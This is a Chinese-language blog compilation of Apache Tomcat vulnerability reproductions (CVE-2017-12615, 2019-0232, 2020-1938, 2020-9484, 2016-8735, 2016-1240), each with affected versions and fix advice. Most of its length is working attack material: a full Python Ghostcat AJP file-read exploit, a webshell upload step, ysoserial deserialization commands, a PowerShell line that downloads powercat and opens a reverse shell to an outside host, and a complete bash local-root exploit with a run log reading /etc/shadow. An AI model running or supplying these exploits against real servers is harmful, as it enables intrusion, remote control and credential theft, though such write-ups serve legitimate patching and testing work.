PUT 任意文件上传(CVE-2017-12615)
影响版本
tomcat 7.0.0~7.0.79
漏洞复现
1. 访问apache tomcat首页 http://192.168.17.140:8080

2. 访问http://192.168.17.140:8080/,使用burpsuit工具进行抓包,并将请求包发送至Repeater

3. 将请求包GET方式改为PUT方式,上传ceshi.jsp,内容为“Hello Word”,点击发送,发现服务器返回“201”

4. 访问刚上传的ceshi.jsp文件,发现可访问,从而确定存在CVE-2017-12615漏洞

5. 接下来上传木马backdoor.jsp,如图所示上传成功

6. 使用冰蝎连接shell,密码为“rebeyond”

修复建议
用户可以禁用PUT方法来防护此漏洞,操作方式如下:
在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数
| 1 | readonlytrue | 
确保readonly参数为true(默认值),即不允许DELETE和PUT操作。
远程代码执行(CVE-2019-0232)
影响版本
tomcat 7.0.94之前
tomcat 8.5.40之前
tomcat 9.0.19之前 版本都会影响
漏洞复现
1. 首先修改apache-tomcat-9.0.13conf web.xml
将此段注释删除,并添加红框内代码。
| 1 | enableCmdLineArgumentstrueexecutadle | 

2. 将此处注释删除

3. 更改
apache-tomcat-9.0.13conf context.xml

4. 在apache-tomcat-9.0.13webappsROOTWEB-INF目录下,新建 cgi-bin 文件夹
在文件夹内创建一个.bat文件 



| 1 2 3 4 5 | @echooffechoContent-Type: test/plainecho.setfoo=&~1%foo% | 
 
5. 在后边追加命令,即可实现命令执行操作

修复建议
1. 禁用enableCmdLineArguments参数。
2. 在conf/web.xml中覆写采用更严格的参数合法性检验规则。
3. 升级tomcat到9.0.17以上版本。
Apache-Tomcat-Ajp漏洞(CVE-2020-1938)
影响版本
Apache Tomcat 6
Apache Tomcat 7
Apache Tomcat 8
Apache Tomcat 9
开启了8009端口的ajp服务
漏洞复现
1. 网址中下载Tomcat,下载好安装包之后,进入bin目录执行startup.bat启动tomcat

2. 访问http://localhost:8080

3. 修改配置文件,首先修改apache-tomcat-9.0.13conf web.xml
将此段注释删除,并添加红框内代码
| 1 | enableCmdLineArgumentstrueexecutadle | 

4. 将此处注释删除

5. 修改 apache-tomcat-9.0.13conf context.xml
添加privileged=”true”语句 如下图

环境搭建完成!
6. 在cmd下执行python脚本

脚本代码如下:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 | #!/usr/bin/env python#CNVD-2020-10487  Tomcat-Ajp lfi#by ydhcuiimportstruct# Some references:defpack_string(s):    ifs isNone:        returnstruct.pack(">h", -1)    l =len(s)    returnstruct.pack(">H%dsb"%l, l, s.encode('utf8'), 0)defunpack(stream, fmt):    size =struct.calcsize(fmt)    buf =stream.read(size)    returnstruct.unpack(fmt, buf)defunpack_string(stream):    size, =unpack(stream, ">h")    ifsize ==-1: # null string        returnNone    res, =unpack(stream, "%ds"%size)    stream.read(1) #     returnresclassNotFoundException(Exception):    passclassAjpBodyRequest(object):    # server == web server, container == servlet    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER =range(2)    MAX_REQUEST_LENGTH =8186    def__init__(self, data_stream, data_len, data_direction=None):        self.data_stream =data_stream        self.data_len =data_len        self.data_direction =data_direction    defserialize(self):        data =self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)        iflen(data) ==0:            returnstruct.pack(">bbH", 0x12, 0x34, 0x00)        else:            res =struct.pack(">H", len(data))            res +=data        ifself.data_direction ==AjpBodyRequest.SERVER_TO_CONTAINER:            header =struct.pack(">bbH", 0x12, 0x34, len(res))        else:            header =struct.pack(">bbH", 0x41, 0x42, len(res))        returnheader +res    defsend_and_receive(self, socket, stream):        whileTrue:            data =self.serialize()            socket.send(data)            r =AjpResponse.receive(stream)            whiler.prefix_code !=AjpResponse.GET_BODY_CHUNK andr.prefix_code !=AjpResponse.SEND_HEADERS:                r =AjpResponse.receive(stream)            ifr.prefix_code ==AjpResponse.SEND_HEADERS orlen(data) ==4:                breakclassAjpForwardRequest(object):    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY =range(28)    REQUEST_METHODS ={'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}    # server == web server, container == servlet    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER =range(2)    COMMON_HEADERS =["SC_REQ_ACCEPT",        "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",        "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",        "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"    ]    ATTRIBUTES =["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]    def__init__(self, data_direction=None):        self.prefix_code =0x02        self.method =None        self.protocol =None        self.req_uri =None        self.remote_addr =None        self.remote_host =None        self.server_name =None        self.server_port =None        self.is_ssl =None        self.num_headers =None        self.request_headers =None        self.attributes =None        self.data_direction =data_direction    defpack_headers(self):        self.num_headers =len(self.request_headers)        res =""        res =struct.pack(">h", self.num_headers)        forh_name inself.request_headers:            ifh_name.startswith("SC_REQ"):                code =AjpForwardRequest.COMMON_HEADERS.index(h_name) +1                res +=struct.pack("BB", 0xA0, code)            else:                res +=pack_string(h_name)            res +=pack_string(self.request_headers[h_name])        returnres    defpack_attributes(self):        res =b""        forattr inself.attributes:            a_name =attr['name']            code =AjpForwardRequest.ATTRIBUTES.index(a_name) +1            res +=struct.pack("b", code)            ifa_name =="req_attribute":                aa_name, a_value =attr['value']                res +=pack_string(aa_name)                res +=pack_string(a_value)            else:                res +=pack_string(attr['value'])        res +=struct.pack("B", 0xFF)        returnres    defserialize(self):        res =""        res =struct.pack("bb", self.prefix_code, self.method)        res +=pack_string(self.protocol)        res +=pack_string(self.req_uri)        res +=pack_string(self.remote_addr)        res +=pack_string(self.remote_host)        res +=pack_string(self.server_name)        res +=struct.pack(">h", self.server_port)        res +=struct.pack("?", self.is_ssl)        res +=self.pack_headers()        res +=self.pack_attributes()        ifself.data_direction ==AjpForwardRequest.SERVER_TO_CONTAINER:            header =struct.pack(">bbh", 0x12, 0x34, len(res))        else:            header =struct.pack(">bbh", 0x41, 0x42, len(res))        returnheader +res    defparse(self, raw_packet):        stream =StringIO(raw_packet)        self.magic1, self.magic2, data_len =unpack(stream, "bbH")        self.prefix_code, self.method =unpack(stream, "bb")        self.protocol =unpack_string(stream)        self.req_uri =unpack_string(stream)        self.remote_addr =unpack_string(stream)        self.remote_host =unpack_string(stream)        self.server_name =unpack_string(stream)        self.server_port =unpack(stream, ">h")        self.is_ssl =unpack(stream, "?")        self.num_headers, =unpack(stream, ">H")        self.request_headers ={}        fori inrange(self.num_headers):            code, =unpack(stream, ">H")            ifcode > 0xA000:                h_name =AjpForwardRequest.COMMON_HEADERS            else:                h_name =unpack(stream, "%ds"%code)                stream.read(1) #             h_value =unpack_string(stream)            self.request_headers[h_name] =h_value    defsend_and_receive(self, socket, stream, save_cookies=False):        res =[]        i =socket.sendall(self.serialize())        ifself.method ==AjpForwardRequest.POST:            returnres        r =AjpResponse.receive(stream)        assertr.prefix_code ==AjpResponse.SEND_HEADERS        res.append(r)        ifsave_cookies and'Set-Cookie'inr.response_headers:            self.headers['SC_REQ_COOKIE'] =r.response_headers['Set-Cookie']        # read body chunks and end response packets        whileTrue:            r =AjpResponse.receive(stream)            res.append(r)            ifr.prefix_code ==AjpResponse.END_RESPONSE:                break            elifr.prefix_code ==AjpResponse.SEND_BODY_CHUNK:                continue            else:                raiseNotImplementedError                break        returnresclassAjpResponse(object):    _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK =range(7)    COMMON_SEND_HEADERS =[            "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",            "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"            ]    defparse(self, stream):        # read headers        self.magic, self.data_length, self.prefix_code =unpack(stream, ">HHb")        ifself.prefix_code ==AjpResponse.SEND_HEADERS:            self.parse_send_headers(stream)        elifself.prefix_code ==AjpResponse.SEND_BODY_CHUNK:            self.parse_send_body_chunk(stream)        elifself.prefix_code ==AjpResponse.END_RESPONSE:            self.parse_end_response(stream)        elifself.prefix_code ==AjpResponse.GET_BODY_CHUNK:            self.parse_get_body_chunk(stream)        else:            raiseNotImplementedError    defparse_send_headers(self, stream):        self.http_status_code, =unpack(stream, ">H")        self.http_status_msg =unpack_string(stream)        self.num_headers, =unpack(stream, ">H")        self.response_headers ={}        fori inrange(self.num_headers):            code, =unpack(stream, ">H")            ifcode H")        self.data =stream.read(self.data_length+1)    defparse_end_response(self, stream):        self.reuse, =unpack(stream, "b")    defparse_get_body_chunk(self, stream):        rlen, =unpack(stream, ">H")        returnrlen    @staticmethod    defreceive(stream):        r =AjpResponse()        r.parse(stream)        returnrimportsocketdefprepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):    fr =AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)    fr.method =method    fr.protocol ="HTTP/1.1"    fr.req_uri =req_uri    fr.remote_addr =target_host    fr.remote_host =None    fr.server_name =target_host    fr.server_port =80    fr.request_headers ={        'SC_REQ_ACCEPT': 'text/html',        'SC_REQ_CONNECTION': 'keep-alive',        'SC_REQ_CONTENT_LENGTH': '0',        'SC_REQ_HOST': target_host,        'SC_REQ_USER_AGENT': 'Mozilla',        'Accept-Encoding': 'gzip, deflate, sdch',        'Accept-Language': 'en-US,en;q=0.5',        'Upgrade-Insecure-Requests': '1',        'Cache-Control': 'max-age=0'    }    fr.is_ssl =False    fr.attributes =[]    returnfrclassTomcat(object):    def__init__(self, target_host, target_port):        self.target_host =target_host        self.target_port =target_port        self.socket =socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        self.socket.connect((target_host, target_port))        self.stream =self.socket.makefile("rb", bufsize=0)    defperform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):        self.req_uri =req_uri        self.forward_request =prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))        print("Getting resource at ajp13://%s:%d%s"%(self.target_host, self.target_port, req_uri))        ifuser isnotNoneandpassword isnotNone:            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] ="Basic "+("%s:%s"%(user, password)).encode('base64').replace('n', '')        forh inheaders:            self.forward_request.request_headers[h] =headers[h]        fora inattributes:            self.forward_request.attributes.append(a)        responses =self.forward_request.send_and_receive(self.socket, self.stream)        iflen(responses) ==0:            returnNone, None        snd_hdrs_res =responses[0]        data_res =responses[1:-1]        iflen(data_res) ==0:            print("No data in response. Headers:%sn"%snd_hdrs_res.response_headers)        returnsnd_hdrs_res, data_res'''javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path'''importargparseparser =argparse.ArgumentParser()parser.add_argument("target", type=str, help="Hostname or IP to attack")parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")args =parser.parse_args()t =Tomcat(args.target, args.port)_,data =t.perform_request('/asdf',attributes=[    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},    ])print('----------------------------')print("".join([d.data ford indata])) | 
7. 可以成功访问文件,漏洞复现成功!
修复建议
1、禁用AIP协议端口,在conf/server.xml配置文件中注释掉
2、升级官方最新版本。
Tomcat Session(CVE-2020-9484)反序列化漏洞
影响版本
Apache Tomcat 10.0.0-M1—10.0.0-M4
Apache Tomcat 9.0.0.M1—9.0.34
Apache Tomcat 8.5.0—8.5.54
Apache Tomcat 7.0.0—7.0.103
- 攻击者能够控制服务器上文件的内容和文件名称
- 服务器PersistenceManager配置中使用了FileStore
- PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象
- 攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径
漏洞复现
下载ysoserial 一个生成java反序列化 payload 的 .jar 包
下载地址: https://github.com/frohoff/ysoserial.git
用浏览器下载,解压,并生成一个jar包,复制进linux系统
生成jar包的方式,进入文件夹的目录输入 输入命令: mvn package
编译有点慢需要几分钟世间
编译完成后在target目录下,有jar包

执行下面语句生成 payload
| 1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/2333"> /tmp/test.session | 

使用以下命令访问tomcat服务
| 1 | 

虽然显示报错,但是也执行了。在/tmp目录下创建了2333目录

修复建议 升级到 Apache Tomcat 10.0.0-M5 及以上版本升级到 Apache Tomcat 9.0.35 及以上版本升级到 Apache Tomcat 8.5.55 及以上版本升级到 Apache Tomcat 7.0.104 及以上版本
临时修复建议
禁止使用Session持久化功能FileStore
Tomcat反序列化漏洞(CVE-2016-8735)
影响版本
Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
外部需要开启JmxRemoteLifecycleListener监听的 10001 和 10002 端口,来实现远程代码执行
漏洞复现
环境:Tomcat7.0.39
在 conf/server.xml 中第 30 行中配置启用JmxRemoteLifecycleListener功能监听的端口

配置好 jmx 的端口后,我们在 tomcat 版本(Index of /dist/tomcat)所对应的 extras/ 目录下来下载 catalina-jmx-remote.jar 以及下载 groovy-2.3.9.jar 两个jar 包。下载完成后放至在lib目录下。
接着我们再去bin目录下修改catalina.bat脚本。在ExecuteThe Requested Command注释前面添加这么一行。主要配置的意思是设置启动tomcat的相关配置,不开启远程监听jvm信息。设置不启用他的ssl链接和不使用监控的账户。具体的配置可以去了解一下利用tomcat的jmx监控。

然后启动 Tomcat ,看看本地的 10001 和 10002 端口是否开放

漏洞利用代码
| 1 | java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.110001Groovy1 "calc.exe" | 

但是由于该命令没有回显,所以我们还是选择反弹shell回来,以下是反弹nc的shell。更多的关于windows反弹shell的cmd和powershell命令
| 1 | java -cp  ysoserial.jar ysoserial.exploit.RMIRegistryExploit  127.0.0.110001Groovy1  "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd" | 

修复建议
1、关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时,增加严格的认证方式。
2、根据官方去升级更新相对应的版本。
Tomcat本地提权漏洞(CVE-2016-1240)
影响版本
Tomcat 8 Tomcat 7 Tomcat 6
- 通过deb包安装的tomcat
- 需要重启tomcat
- 受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响
漏洞复现
Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat* 利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限!

本地攻击者,作为tomcat用户(比如说,通过web应用的漏洞)若将catalina.out修改为指向任意系统文件的链接,一旦Tomcat init脚本(ROOT权限运行)在服务重启后再次打开catalina.out文件,攻击者就可获取ROOT权限。
漏洞poc
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 | #!/bin/bash## Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit## CVE-2016-1240## Discovered and coded by:## Dawid Golunski## This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc.# It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root.## Usage:# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]## The exploit can used in two ways:## -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)## -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can# then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations).## See full advisory for details at:## Disclaimer:# For testing purposes only. Do no harm.#BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/tomcatrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"functioncleanexit {    # Cleanup     echo-e "n[+] Cleaning up..."    rm-f $PRIVESCSRC    rm-f $PRIVESCLIB    rm-f $TOMCATLOG    touch$TOMCATLOG    if[ -f /etc/ld.so.preload ]; then        echo-n > /etc/ld.so.preload 2>/dev/null    fi    echo-e "n[+] Job done. Exiting with code $1 n"    exit$1}functionctrl_c() {        echo-e "n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."    cleanexit 0}#intro echo-e "33[94m nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation ExploitnCVE-2016-1240n"# Argsif[ $# -lt 1 ]; then    echo-e "n[!] Exploit usage: nn$0 path_to_catalina.out [-deferred]n"    exit3fiif[ "$2"= "-deferred"]; then    mode="deferred"else    mode="active"fi# Priv checkecho-e "n[+] Starting the exploit in [33[94m$mode33[0m] mode with the following privileges: n`id`"id| grep-q tomcatif[ $? -ne0 ]; then    echo-e "n[!] You need to execute the exploit as tomcat user! Exiting.n"    exit3fi# Set target pathsTOMCATLOG="$1"if[ ! -f $TOMCATLOG ]; then    echo-e "n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.n"    exit3fiecho-e "n[+] Target Tomcat log file set to $TOMCATLOG"# [ Deferred exploitation ]# Symlink the log file to /etc/default/locale file which gets executed daily on default# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been# restarted and file owner gets changed.if[ "$mode"= "deferred"]; then    rm-f $TOMCATLOG && ln-s /etc/default/locale$TOMCATLOG    if[ $? -ne0 ]; then        echo-e "n[!] Couldn't remove the $TOMCATLOG file or create a symlink."        cleanexit 3    fi    echo-e  "n[+] Symlink created at: n`ls -l $TOMCATLOG`"    echo-e  "n[+] The current owner of the file is: n`ls -l /etc/default/locale`"    echo-ne"n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"    echo-ne"n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"    echo-ne"n    at ~6:25am by the /etc/cron.daily/tomcatNlog rotation cron. See also -active mode ifyou can't wait ;) nn"    exit0fi# [ Active exploitation ]trapctrl_c INT# Compile privesc preload libraryecho-e "n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat$PRIVESCSRC#define _GNU_SOURCE#include #include #include #include uid_t geteuid(void) {    static uid_t  (*old_geteuid)();    old_geteuid = dlsym(RTLD_NEXT, "geteuid");    if( old_geteuid() == 0 ) {        chown("$BACKDOORPATH", 0, 0);        chmod("$BACKDOORPATH", 04777);        unlink("/etc/ld.so.preload");    }    returnold_geteuid();}_solibeof_gcc-Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldlif[ $? -ne0 ]; then    echo-e "n[!] Failed to compile the privesc lib $PRIVESCSRC."    cleanexit 2;fi# Prepare backdoor shellcp$BACKDOORSH $BACKDOORPATHecho-e "n[+] Backdoor/low-priv shell installed at: n`ls -l $BACKDOORPATH`"# Safety checkif[ -f /etc/ld.so.preload ]; then    echo-e "n[!] /etc/ld.so.preload already exists. Exiting for safety."    cleanexit 2fi# Symlink the log file to ld.so.preloadrm-f $TOMCATLOG && ln-s /etc/ld.so.preload $TOMCATLOGif[ $? -ne0 ]; then    echo-e "n[!] Couldn't remove the $TOMCATLOG file or create a symlink."    cleanexit 3fiecho-e "n[+] Symlink created at: n`ls -l $TOMCATLOG`"# Wait for Tomcat to re-open the logsecho-ne"n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."echo-e  "nYou could speed things up by executing : kill[Tomcat-pid] (as tomcat user) ifneeded ;) "while:; do    sleep0.1    if[ -f /etc/ld.so.preload ]; then        echo$PRIVESCLIB > /etc/ld.so.preload        break;    fidone# /etc/ld.so.preload file should be owned by tomcat user at this point# Inject the privesc.so shared library to escalate privilegesecho$PRIVESCLIB > /etc/ld.so.preloadecho-e "n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: n`ls -l /etc/ld.so.preload`"echo-e "n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo-e "n[+] The /etc/ld.so.preload file now contains: n`cat /etc/ld.so.preload`"# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo-e "n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo--help 2>/dev/null>/dev/null# Check for the rootshellls-l $BACKDOORPATH | greprws | grep-q rootif[ $? -eq0 ]; then    echo-e "n[+] Rootshell got assigned root SUID perms at: n`ls -l $BACKDOORPATH`"    echo-e "n33[94mPlease tell me you're seeing this too ;)  33[0m"else    echo-e "n[!] Failed to get root"    cleanexit 2fi# Execute the rootshellecho-e "n[+] Executing the rootshell $BACKDOORPATH now! n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p# Job done.cleanexit 0 | 
poc运行
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | tomcat7@ubuntu:/tmp$ iduid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)tomcat7@ubuntu:/tmp$ lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription:    Ubuntu 16.04 LTSRelease:    16.04Codename:   xenialtomcat7@ubuntu:/tmp$ dpkg -l | greptomcatii  libtomcat7-java              7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- core librariesii  tomcat7                      7.0.68-1ubuntu0.1               all          Servlet and JSP engineii  tomcat7-common               7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- common filestomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out Tomcat 6/7/8on Debian-based distros - Local Root Privilege Escalation ExploitCVE-2016-1240Discovered and coded by: Dawid Golunski http://legalhackers.com[+] Starting the exploit in[active] mode with the following privileges: uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)[+] Target Tomcat log filesetto /var/log/tomcat7/catalina.out[+] Compiling the privesc shared library (/tmp/privesclib.c)[+] Backdoor/low-privshell installed at: -rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh[+] Symlink created at: lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload[+] Waiting forTomcat to re-openthe logs/Tomcatservice restart...You could speed things up by executing : kill[Tomcat-pid] (as tomcat user) ifneeded ;)[+] Tomcat restarted. The /etc/ld.so.preload filegot created with tomcat privileges: -rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload[+] The /etc/ld.so.preload filenow contains: /tmp/privesclib.so[+] Escalating privileges via the /usr/bin/sudoSUID binary to get root![+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootshPlease tell me you're seeing this too ;)[+] Executing the rootshell /tmp/tomcatrootshnow! tomcatrootsh-4.3# iduid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)tomcatrootsh-4.3# whoamiroottomcatrootsh-4.3# head -n3 /etc/shadowroot:$6$oaf[cut]:16912:0:99999:7:::daemon:*:16912:0:99999:7:::bin:*:16912:0:99999:7:::tomcatrootsh-4.3# exitexit | 
修复建议
目前,Debian、Ubuntu等相关操作系统厂商已修复并更新受影响的Tomcat安装包。受影响用户可采取以下解决方案:
1、更新Tomcat服务器版本:
(1)针对Ubuntu公告链接
http://www.ubuntu.com/usn/usn-3081-1/
(2)针对Debian公告链接
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669
https://www.debian.org/security/2016/dsa-3670
2、加入-h参数防止其他文件所有者被更改,即更改Tomcat的启动脚本为:
chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
参考链接
CVE-2019-0232漏洞复现_whh6tl的博客-CSDN博客_cve-2019-0232
(CVE-2020-1938)Apache Tomcat远程代码执行漏洞复现_whh6tl的博客-CSDN博客
Tomcat Session(CVE-2020-9484)反序列化漏洞复现_白冷的博客-CSDN博客_cve-2020-9484
到此这篇关于tomcat漏洞汇总的文章就介绍到这了,更多相关tomcat漏洞内容请搜索IT俱乐部以前的文章或继续浏览下面的相关文章希望大家以后多多支持IT俱乐部!

